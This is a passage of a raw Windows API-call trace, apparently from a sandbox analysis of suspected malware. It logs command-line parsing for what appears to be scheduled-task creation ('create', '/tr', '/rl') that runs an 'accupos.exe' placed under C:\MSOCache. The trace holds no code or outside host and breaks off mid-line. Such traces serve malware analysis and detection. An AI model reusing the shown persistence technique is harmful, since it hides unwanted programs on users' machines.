[0124.284] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.284] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|s|") returned 3 [0124.284] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.284] lstrlenW (lpString="|s|") returned 3 [0124.284] lstrlenW (lpString="|tr|") returned 4 [0124.284] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.284] lstrlenW (lpString="u") returned 1 [0124.284] lstrlenW (lpString="u") returned 1 [0124.284] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.284] lstrlenW (lpString="tr") returned 2 [0124.284] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.285] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|u|") returned 3 [0124.285] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.285] lstrlenW (lpString="|u|") returned 3 [0124.285] lstrlenW (lpString="|tr|") returned 4 [0124.285] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.285] lstrlenW (lpString="p") returned 1 [0124.285] lstrlenW (lpString="p") returned 1 [0124.285] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.285] lstrlenW (lpString="tr") returned 2 [0124.285] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.285] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|p|") returned 3 [0124.285] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.285] lstrlenW (lpString="|p|") returned 3 [0124.285] lstrlenW (lpString="|tr|") returned 4 [0124.285] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.285] lstrlenW (lpString="ru") returned 2 [0124.285] lstrlenW (lpString="ru") returned 2 [0124.285] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.285] lstrlenW (lpString="tr") returned 2 [0124.285] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.285] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ru|") returned 4 [0124.285] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.285] lstrlenW (lpString="|ru|") returned 4 [0124.285] lstrlenW (lpString="|tr|") returned 4 [0124.285] StrStrIW (lpFirst="|ru|", lpSrch="|tr|") returned 0x0 [0124.286] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.286] lstrlenW (lpString="rp") returned 2 [0124.286] lstrlenW (lpString="rp") returned 2 [0124.286] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.286] lstrlenW (lpString="tr") returned 2 [0124.286] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.286] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rp|") returned 4 [0124.286] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.286] lstrlenW (lpString="|rp|") returned 4 [0124.286] lstrlenW (lpString="|tr|") returned 4 [0124.286] StrStrIW (lpFirst="|rp|", lpSrch="|tr|") returned 0x0 [0124.286] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.286] lstrlenW (lpString="sc") returned 2 [0124.286] lstrlenW (lpString="sc") returned 2 [0124.286] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.286] lstrlenW (lpString="tr") returned 2 [0124.286] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.286] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.286] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.286] lstrlenW (lpString="|sc|") returned 4 [0124.286] lstrlenW (lpString="|tr|") returned 4 [0124.286] StrStrIW (lpFirst="|sc|", lpSrch="|tr|") returned 0x0 [0124.286] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.286] lstrlenW (lpString="mo") returned 2 [0124.286] lstrlenW (lpString="mo") returned 2 [0124.286] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.287] lstrlenW (lpString="tr") returned 2 [0124.287] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.287] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.287] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.287] lstrlenW (lpString="|mo|") returned 4 [0124.287] lstrlenW (lpString="|tr|") returned 4 [0124.287] StrStrIW (lpFirst="|mo|", lpSrch="|tr|") returned 0x0 [0124.287] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.287] lstrlenW (lpString="d") returned 1 [0124.287] lstrlenW (lpString="d") returned 1 [0124.287] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.287] lstrlenW (lpString="tr") returned 2 [0124.287] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.287] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|d|") returned 3 [0124.287] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.287] lstrlenW (lpString="|d|") returned 3 [0124.287] lstrlenW (lpString="|tr|") returned 4 [0124.287] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.287] lstrlenW (lpString="m") returned 1 [0124.287] lstrlenW (lpString="m") returned 1 [0124.287] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.287] lstrlenW (lpString="tr") returned 2 [0124.287] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.287] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|m|") returned 3 [0124.287] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.288] lstrlenW (lpString="|m|") returned 3 [0124.288] lstrlenW (lpString="|tr|") returned 4 [0124.288] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.288] lstrlenW (lpString="i") returned 1 [0124.288] lstrlenW (lpString="i") returned 1 [0124.288] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.288] lstrlenW (lpString="tr") returned 2 [0124.288] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.288] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|i|") returned 3 [0124.288] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.288] lstrlenW (lpString="|i|") returned 3 [0124.288] lstrlenW (lpString="|tr|") returned 4 [0124.288] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.288] lstrlenW (lpString="tn") returned 2 [0124.288] lstrlenW (lpString="tn") returned 2 [0124.288] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.288] lstrlenW (lpString="tr") returned 2 [0124.288] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.288] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.288] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.288] lstrlenW (lpString="|tn|") returned 4 [0124.288] lstrlenW (lpString="|tr|") returned 4 [0124.288] StrStrIW (lpFirst="|tn|", lpSrch="|tr|") returned 0x0 [0124.288] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.288] lstrlenW (lpString="tr") returned 2 [0124.288] lstrlenW (lpString="tr") returned 2 [0124.289] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.289] lstrlenW (lpString="tr") returned 2 [0124.289] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.289] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.289] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.289] lstrlenW (lpString="|tr|") returned 4 [0124.289] lstrlenW (lpString="|tr|") returned 4 [0124.289] StrStrIW (lpFirst="|tr|", lpSrch="|tr|") returned="|tr|" [0124.289] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.289] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.289] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.289] lstrlenW (lpString="-/") returned 2 [0124.289] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0124.289] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.289] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.289] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.289] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.289] StrChrIW (lpStart="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'", wMatch=0x3a) returned=":\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'" [0124.289] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.289] _memicmp (_Buf1=0x2996d99a9b0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.289] _memicmp (_Buf1=0x2996d99a970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.289] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.289] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.289] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.289] lstrlenW (lpString="'C") returned 2 [0124.289] lstrlenW (lpString="-/") returned 2 [0124.290] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0124.290] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.290] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.290] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.290] _memicmp (_Buf1=0x2996d99a930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.290] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.290] GetProcessHeap () returned 0x2996d990000 [0124.290] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99ab70) returned 1 [0124.290] GetProcessHeap () returned 0x2996d990000 [0124.290] RtlReAllocateHeap (Heap=0x2996d990000, Flags=0xc, Ptr=0x2996d99ab70, Size=0x9a) returned 0x2996d99ac30 [0124.290] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.290] lstrlenW (lpString=" \x09") returned 2 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x3a) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x68) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0124.290] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x20) returned=" \x09" [0124.291] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x7b) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x41) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x34) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.291] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x30) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x46) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x7d) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x2d) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x43) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x5c) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x63) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x75) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x70) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x6f) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x2e) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x78) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0124.292] StrChrW (lpStart=" \x09", wMatch=0x27) returned 0x0 [0124.293] GetLastError () returned 0x0 [0124.293] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.293] lstrlenW (lpString="'C:\\MSOCache\\All Users\\{90160000-001A-0409-1000-0000000FF1CE}-C\\accupos.exe'") returned 76 [0124.293] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.293] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.293] lstrlenW (lpString="/rl") returned 3 [0124.293] lstrlenW (lpString="-/") returned 2 [0124.293] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.293] lstrlenW (lpString="create") returned 6 [0124.293] lstrlenW (lpString="create") returned 6 [0124.293] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.293] lstrlenW (lpString="rl") returned 2 [0124.293] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.293] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|create|") returned 8 [0124.293] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.307] lstrlenW (lpString="|create|") returned 8 [0124.307] lstrlenW (lpString="|rl|") returned 4 [0124.307] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0124.307] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.307] lstrlenW (lpString="?") returned 1 [0124.307] lstrlenW (lpString="?") returned 1 [0124.307] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.307] lstrlenW (lpString="rl") returned 2 [0124.307] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.307] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|?|") returned 3 [0124.308] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.308] lstrlenW (lpString="|?|") returned 3 [0124.308] lstrlenW (lpString="|rl|") returned 4 [0124.308] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.308] lstrlenW (lpString="s") returned 1 [0124.308] lstrlenW (lpString="s") returned 1 [0124.308] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.308] lstrlenW (lpString="rl") returned 2 [0124.308] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.308] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|s|") returned 3 [0124.308] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.308] lstrlenW (lpString="|s|") returned 3 [0124.308] lstrlenW (lpString="|rl|") returned 4 [0124.308] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.308] lstrlenW (lpString="u") returned 1 [0124.308] lstrlenW (lpString="u") returned 1 [0124.308] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.308] lstrlenW (lpString="rl") returned 2 [0124.308] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.308] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|u|") returned 3 [0124.308] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.308] lstrlenW (lpString="|u|") returned 3 [0124.308] lstrlenW (lpString="|rl|") returned 4 [0124.308] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.308] lstrlenW (lpString="p") returned 1 [0124.308] lstrlenW (lpString="p") returned 1 [0124.308] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.309] lstrlenW (lpString="rl") returned 2 [0124.309] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.309] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|p|") returned 3 [0124.309] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.309] lstrlenW (lpString="|p|") returned 3 [0124.309] lstrlenW (lpString="|rl|") returned 4 [0124.309] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.309] lstrlenW (lpString="ru") returned 2 [0124.309] lstrlenW (lpString="ru") returned 2 [0124.309] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.309] lstrlenW (lpString="rl") returned 2 [0124.309] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.309] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ru|") returned 4 [0124.309] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.309] lstrlenW (lpString="|ru|") returned 4 [0124.309] lstrlenW (lpString="|rl|") returned 4 [0124.309] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0124.309] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.309] lstrlenW (lpString="rp") returned 2 [0124.309] lstrlenW (lpString="rp") returned 2 [0124.309] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.309] lstrlenW (lpString="rl") returned 2 [0124.310] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.310] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rp|") returned 4 [0124.310] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.310] lstrlenW (lpString="|rp|") returned 4 [0124.310] lstrlenW (lpString="|rl|") returned 4 [0124.310] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0124.310] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.310] lstrlenW (lpString="sc") returned 2 [0124.310] lstrlenW (lpString="sc") returned 2 [0124.310] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.310] lstrlenW (lpString="rl") returned 2 [0124.310] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.310] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.310] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.310] lstrlenW (lpString="|sc|") returned 4 [0124.310] lstrlenW (lpString="|rl|") returned 4 [0124.310] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0124.310] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.310] lstrlenW (lpString="mo") returned 2 [0124.310] lstrlenW (lpString="mo") returned 2 [0124.310] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.310] lstrlenW (lpString="rl") returned 2 [0124.310] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.310] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.310] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.311] lstrlenW (lpString="|mo|") returned 4 [0124.311] lstrlenW (lpString="|rl|") returned 4 [0124.311] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0124.311] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.311] lstrlenW (lpString="d") returned 1 [0124.311] lstrlenW (lpString="d") returned 1 [0124.311] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.311] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.311] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|d|") returned 3 [0124.311] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rl|") returned 4 [0124.311] lstrlenW (lpString="|d|") returned 3 [0124.311] lstrlenW (lpString="|rl|") returned 4 [0124.311] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.311] lstrlenW (lpString="m") returned 1 [0124.311] lstrlenW (lpString="m") returned 1 [0124.311] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.311] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.311] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, 